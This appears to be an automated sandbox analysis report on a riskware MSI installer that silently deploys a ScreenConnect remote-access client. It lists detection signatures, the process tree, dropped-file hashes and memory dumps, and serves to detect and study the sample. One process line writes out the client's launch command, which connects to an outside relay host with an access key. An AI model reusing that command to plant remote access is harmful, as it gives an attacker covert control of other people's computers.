Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    15/04/2026, 13:36

General

  • Target
    SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
  • Size 1.8MB
  • Sample260415-qwl4zaas21
  • SHA256 52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 20 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:5064
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 40B88D125015F0F88A4E0FB6CB3A3A0B C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240653203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1788
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2740
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6CDC2DE08E29D3950874959436C69003
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5360
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F562FEF889866C04A806B554A7E3470E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1204
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5616
    • C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=82.208.20.199&p=8041&s=6831f3d8-0f09-48a4-902f-d5951acf7f9c&k=BgIAAACkAABSU0ExAAgAAAEAAQA11G4g6%2bl4BKXQ3lLmcayE%2fTguge6wmV27n6wlt8EvBiHcsu8P672dpbQaFdNGNeYcZsdbZmUyCJThrZp5XhHJ0vI8KRocvvvxDxRirvN2jyFUkTJMdG9Zzm9XQPWs55XHRB1t%2fziMPJbzZQYTVQcuId0%2bqsjR6kZREKFcywCcswlhQRVKeG2XxXzZ7wIuMtd54hJu7t3udq%2b2Eg0%2fpG2NLZwnnP8a4x7r4YXXLypxEkB7dPrcvJaV9f5mjsw5UxlE9M5jKtNnrlCq1h7fd2hoPBk8U4oAslQeNqjmjvDyQxW5cTASTpnTZiHbbvUyV2DhBmZdk4cI07iOGyQzqmWf&t=&c=ragab&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:6088
      • C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "5ec07573-a9c2-486d-9faa-430d337863c4" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5524
      • C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "901e41b7-a70c-459b-980b-6495f7948224" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3400

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e584aa1.rbs

          • Path C:\Config.Msi\e584aa1.rbs
          • Size 212KB
          • SHA256 49c133d7b5afeb21707779bd4c19318ce64c0e996de27b342ceefc0859ae2a7f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.en-US.resources
          • Size 429B
          • SHA256 bbaa77198e9c9335a2153c60d229350d58e3a5e902877f069cc20dad1b77ae6a
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.resources
          • Size 16KB
          • SHA256 fb20d8327397fd916df25e692c9d83936578784d649931fb4d915ed0506b5bd9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.en-US.resources
          • Size 41KB
          • SHA256 71df8b9623a453ba104d9f363dc8744e72e8b9ae365e78bf685a4ebb96170288
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.resources
          • Size 2KB
          • SHA256 fe22dfd2cb3aedfa930b84b9dfdcde40a12db463503854639ed9aa4e76fb748b
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Client.dll
          • Size 181KB
          • SHA256 6983d0ae9b4cc96766cab4ddc7af2a55ae436990a848faba43db9ccae839323f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.dll
          • Size 33KB
          • SHA256 d688fb7415f0202e675616015f3ec445a978b458511db963bac63f3091a40be3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe
          • Size 92KB
          • SHA256 85774c163dedd186c77a67d252d6591dbf95d054425a9276cfb21223b8ae995f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 dba25d80c0d0a28a98b811502c3b24eab1b2095fe6ae52c1bd15481f9d5aeaa0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
          • Size 562KB
          • SHA256 19fe3f4314d47013e469ef151b7e383d8d6c596fdfea9bf1565faca1fa13a3df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\system.config
          • Size 885B
          • SHA256 7f1c82a4a47fd2fba5064c8f92f008c68412372a05d374c23f415b2e5cc3a0c5
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\ProgramData\ScreenConnect Client (b9eddf610409fd2b)\user.config
          • Size 546B
          • SHA256 2c5ddcebac685b59c94d08df958cf7e02ba28ac11ee08f1cc3a2dc797844e01f
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\ProgramData\ScreenConnect Client (b9eddf610409fd2b)\user.config
          • Size 2KB
          • SHA256 e0ae056a389d0f60c737fe6d2aaf9e423becd97557197cd48469f43960402752
          • MD5 SHA1 SHA512 TLSH

          MSI1325.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp
          • Size 356KB
          • SHA256 da61d5b5bada5b0fb6904748b72baa16220d0760d76f3f3d29f6f6588b06f1cd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp-\ScreenConnect.Core.dll
          • Size 439KB
          • SHA256 bad512370d834969316c6c7f8f2daac776155ce99a3652958e0ca7ccd70b556d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp-\ScreenConnect.InstallerActions.dll
          • Size 20KB
          • SHA256 5698f7e5ca90bdd7ef140710849586ac48f6a09763ca26e21cf4eca8adab15c7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4C18.tmp

          • Path C:\Windows\Installer\MSI4C18.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e584aa0.msi

          • Path C:\Windows\Installer\e584aa0.msi
          • Size 1.8MB
          • SHA256 52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 06eab737f2972d6db3ef8c8d86d7b81d4b724511247a07a22046ec9c5cf5b851
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {5f6f0e8e-ebf0-4081-87f9-0a3a7a278636}_OnDiskSnapshotProp

          • Path \??\Volume{21a5fa1d-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{5f6f0e8e-ebf0-4081-87f9-0a3a7a278636}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 dc99d4192236cc3fabc68ae738f28e03bd30814b6bb7a33d79c143225a7efb75
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/644-28-0x0000024C8F770000-0x0000024C8FF1E000-memory.dmp

          memory/644-131-0x0000024C8F770000-0x0000024C8FF1E000-memory.dmp

          memory/1788-22-0x0000000004B00000-0x0000000004B74000-memory.dmp

          memory/1788-18-0x0000000002720000-0x000000000272C000-memory.dmp

          memory/1788-14-0x00000000026E0000-0x000000000270E000-memory.dmp

          memory/2740-140-0x000001D1C5670000-0x000001D1C5E1E000-memory.dmp

          memory/2740-134-0x000001D1C5670000-0x000001D1C5E1E000-memory.dmp

          memory/3400-130-0x000000001C590000-0x000000001CD3E000-memory.dmp

          memory/3400-129-0x0000000001790000-0x000000000179C000-memory.dmp

          memory/5064-27-0x000001FEF6F80000-0x000001FEF772E000-memory.dmp

          memory/5064-125-0x000001FEF6F80000-0x000001FEF772E000-memory.dmp

          memory/5524-106-0x000000001B4F0000-0x000000001B678000-memory.dmp

          memory/5524-105-0x000000001B350000-0x000000001B4EA000-memory.dmp

          memory/5524-102-0x0000000000130000-0x00000000001C2000-memory.dmp

          memory/5524-107-0x0000000000AF0000-0x0000000000AFE000-memory.dmp

          memory/5524-139-0x000000001B930000-0x000000001C0DE000-memory.dmp

          memory/5524-103-0x0000000002330000-0x0000000002364000-memory.dmp

          memory/5524-104-0x000000001B130000-0x000000001B1A4000-memory.dmp

          memory/5524-138-0x0000000000AC0000-0x0000000000ACC000-memory.dmp

          memory/6088-86-0x0000000004620000-0x00000000047BA000-memory.dmp

          memory/6088-90-0x0000000004520000-0x00000000045B2000-memory.dmp

          memory/6088-137-0x0000000005540000-0x0000000005569000-memory.dmp

          memory/6088-79-0x0000000004340000-0x0000000004374000-memory.dmp

          memory/6088-136-0x0000000005440000-0x000000000553E000-memory.dmp

          memory/6088-135-0x0000000004180000-0x0000000004199000-memory.dmp

          memory/6088-95-0x0000000004950000-0x0000000004AD8000-memory.dmp

          memory/6088-73-0x0000000004170000-0x000000000417E000-memory.dmp

          memory/6088-97-0x0000000004D30000-0x0000000004D80000-memory.dmp